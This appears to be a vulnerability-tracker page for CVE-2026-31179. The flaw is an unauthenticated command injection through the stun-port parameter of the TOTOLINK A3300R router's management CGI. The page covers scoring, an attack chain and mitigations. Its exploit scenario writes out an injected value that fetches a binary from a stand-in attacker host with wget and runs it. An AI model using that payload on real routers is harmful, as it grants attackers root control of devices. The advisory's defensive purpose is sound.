Skip to main content

TOTOLINK A3300R CVE-2026-31179

| EUVDEUVD-2026-25247 MEDIUM
Command Injection (CWE-77)
2026-04-23 mitre GHSA-r965-frwq-44xx
6.5
CVSS 3.1 · Vendor: mitre
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify WAN-exposed A3300R management interface
  2. Delivery
    Send unauthenticated HTTP POST to /cgi-bin/cstecgi.cgi
  3. Exploit
    Inject shell payload via stun-port parameter
  4. Execution
    Router executes payload as root
  5. Impact
    Establish persistent backdoor or exfiltrate credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attack targets /cgi-bin/cstecgi.cgi with a malicious stun-port parameter; based on the CVSS PR:N metric, the endpoint requires no authentication. The primary prerequisite is that the router's web management interface must be reachable from the attacker's network - devices with management restricted to LAN-only access are not directly exploitable from the internet. No special client-side configuration, browser state, or user interaction is required. The specific firmware version v17.0.0cu.557_B20221024 is the only confirmed affected build; other versions are unconfirmed. No non-default configuration of the STUN feature is required - the vulnerable parameter handler is reachable via normal HTTP POST to the management CGI.

Impact

The provided CVSS 6.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) materially understates real-world risk for this vulnerability class: command injection with PR:N on a router should in practice yield full system access (C:H/I:H/A:H) and scope change, as the router controls all traffic for downstream clients. The SSVC classification confirms this is automatable with a PoC present - the referenced GitHub repository provides exploit code lowering the skill bar significantly. However, EPSS at 0.04% (12th percentile) indicates low observed exploitation activity, which likely reflects the niche deployment footprint of this specific device model rather than inherent unexploitability. TOTOLINK vulnerabilities have historically attracted opportunistic botnet scanning, making this a credible target for automated campaigns. KEV status is unconfirmed. The primary limiting factor to exploitation is whether the management interface is WAN-exposed - routers restricted to LAN-only management are not directly reachable from the internet. The CVSS impact scoring discrepancy (C:L/I:L vs. expected C:H/I:H/A:H for root-level command injection) should be flagged to security teams: do not use the 6.5 score as the basis for prioritization without independent verification.

Exploit ScenarioDerived

A remote unauthenticated attacker scans the internet for TOTOLINK A3300R devices with the web management interface exposed on the WAN interface, then submits a crafted HTTP POST request to /cgi-bin/cstecgi.cgi embedding shell metacharacters in the stun-port parameter (e.g., a value such as 3478; wget http://attacker/bot -O /tmp/bot; chmod +x /tmp/bot; /tmp/bot). The router firmware passes this value unsanitized to a shell command, executing the injected payload with root privileges and granting the attacker full control of the device. A public PoC is available in the referenced GitHub repository, making this attack accessible to low-skilled threat actors.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 24, 2026

Unauthenticated remote command injection in TOTOLINK A3300R firmware v17.0.0cu.557_B20221024 allows network-adjacent or internet-exposed attackers to execute arbitrary OS commands by injecting shell metacharacters into the stun-port parameter of /cgi-bin/cstecgi.cgi. The CVSS vector (PR:N/AC:L/UI:N) confirms no credentials or user interaction are required, and the SSVC assessment independently classifies the attack as automatable with a publicly available proof-of-concept - though EPSS at 0.04% (12th percentile) indicates minimal observed exploitation activity to date and no CISA KEV listing has been recorded. The vendor-assigned impact metrics (C:L/I:L/A:N) appear inconsistent with the expected consequence of OS-level command execution on router firmware, which typically yields full device compromise.

RemediationAI

No vendor-released patch has been identified at the time of analysis; patch availability per vendor advisory has not been confirmed. The primary compensating control is to disable WAN-side access to the router's web management interface immediately - this blocks unauthenticated remote exploitation from the internet while preserving LAN administration capability. If the STUN or NAT traversal feature is not actively required, disabling it via alternative configuration paths reduces the exposed attack surface, though this does not eliminate the vulnerability in the CGI handler itself. If no firmware patch is released by TOTOLINK, replacing the A3300R with a supported device receiving active security updates is the recommended long-term remediation. Monitor the NVD entry at https://nvd.nist.gov/vuln/detail/CVE-2026-31179 and TOTOLINK's official channels for patch availability. The researcher PoC repository at https://github.com/Svigo-o/TOTOLINK-Vul/tree/main/totolink-a3300r-stun-port-cmd-injection may contain additional technical detail useful for developing detection signatures.

Affected VersionsENISA

n/a n/a

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in the TOTOLINK A3300R router's web-based management CGI handler (/cgi-bin/cstecgi.cgi), specifically in the routine that processes STUN (Session Traversal Utilities for NAT) port configuration. CWE-77 (Improper Neutralization of Special Elements used in a Command) identifies the root cause: attacker-controlled input to the stun-port parameter is concatenated directly into a shell command without sanitization, allowing injection of arbitrary shell metacharacters. TOTOLINK routers in this family run embedded Linux on MIPS architecture; the web management process typically executes with root privileges, so successful injection grants full OS control. The affected firmware build is v17.0.0cu.557_B20221024. The CPE string is listed as cpe:2.3:a:n/a:n/a in NVD, indicating incomplete vendor product registration and limiting automated tooling coverage.

Know when N A gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (mitre) PRIMARY 6.5 MEDIUM
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
vuln.today AI 10.0 CRITICAL

Unauthenticated network-accessible command injection on router firmware yields root OS execution and scope change affecting all downstream network clients.

3.1 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (mitre).

CVSS VectorVendor: mitre

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
CVSS changed
Apr 23, 2026 - 18:42 NVD
6.5 (None) 6.5 (MEDIUM)
CVE Published
Apr 23, 2026 - 00:00 nvd
MEDIUM 6.5

DescriptionCVE.org

An issue was discovered in ToToLink A3300R firmware v17.0.0cu.557_B20221024 allowing attackers to execute arbitrary commands via the stun-port parameter to /cgi-bin/cstecgi.cgi.

Threat Intelligence Overview

EPSS Score
0.0%
Top 88% exploitable
Prevalence
Low
budget SOHO router sold primarily in developing markets, negligible enterprise footprint
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in N A

View all
CVE-2024-51092 CRITICAL POC
9.1 May 08

LibreNMS before 24.10.0 allows a remote attacker to execute arbitrary code via OS command injection involving AboutContr

CVE-2025-15684 MEDIUM POC
5.5 Aug 12

Reachable assertion in Open5GS up to version 2.7.6 allows remote unauthenticated attackers to crash the Diameter CER han

CVE-2024-45257 HIGH POC
7.3 May 08

A Command Injection issue in the payload build page in BYOB (Build Your Own Botnet) 2.0 allows attackers to execute arbi

CVE-2025-15687 LOW POC
2.1 Aug 12

Denial of service in Open5GS 2.7.6 and earlier allows network-adjacent attackers with low-privilege Diameter Gx peer acc

CVE-2025-15686 LOW POC
2.1 Aug 12

Denial of service in Open5GS HSS (Home Subscriber Server) versions 2.7.0 through 2.7.6 is triggered remotely by manipula

CVE-2025-67888 HIGH POC
7.3 May 08

Remote command injection in Control Web Panel allows unauthenticated attackers to execute arbitrary OS commands as root

CVE-2024-53326 HIGH POC
7.3 May 08

LINQPad before 5.52.01 Pro edition is vulnerable to Unsafe Deserialization in LINQPad.AutoRefManager::PopulateFromCache(

CVE-2026-38360 CRITICAL POC
9.8 May 08

Remote code execution in dash-uploader (Python package for Plotly Dash) versions 0.1.0 through 0.7.0a2 allows unauthenti

CVE-2026-30623 CRITICAL POC
9.8 Jul 15

Command injection in LiteLLM 1.18.10 lets attackers who can configure MCP (Model Context Protocol) servers supply arbitr

CVE-2026-67917 CRITICAL POC
9.8 Aug 17

SQL injection in AzuraCast's backup restore flow (versions up to and including 0.23.7) lets an attacker achieve privileg

CVE-2026-75337 CRITICAL POC
9.8 Aug 27

Arbitrary file read in Yu AI Code Mother v4.3 lets anonymous, remote attackers retrieve files outside the intended previ

CVE-2026-31072 CRITICAL POC
9.8 May 19

Remote code execution in APScheduler (all versions through 3.10.x and 4.0.0a5) is achievable when applications deseriali

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy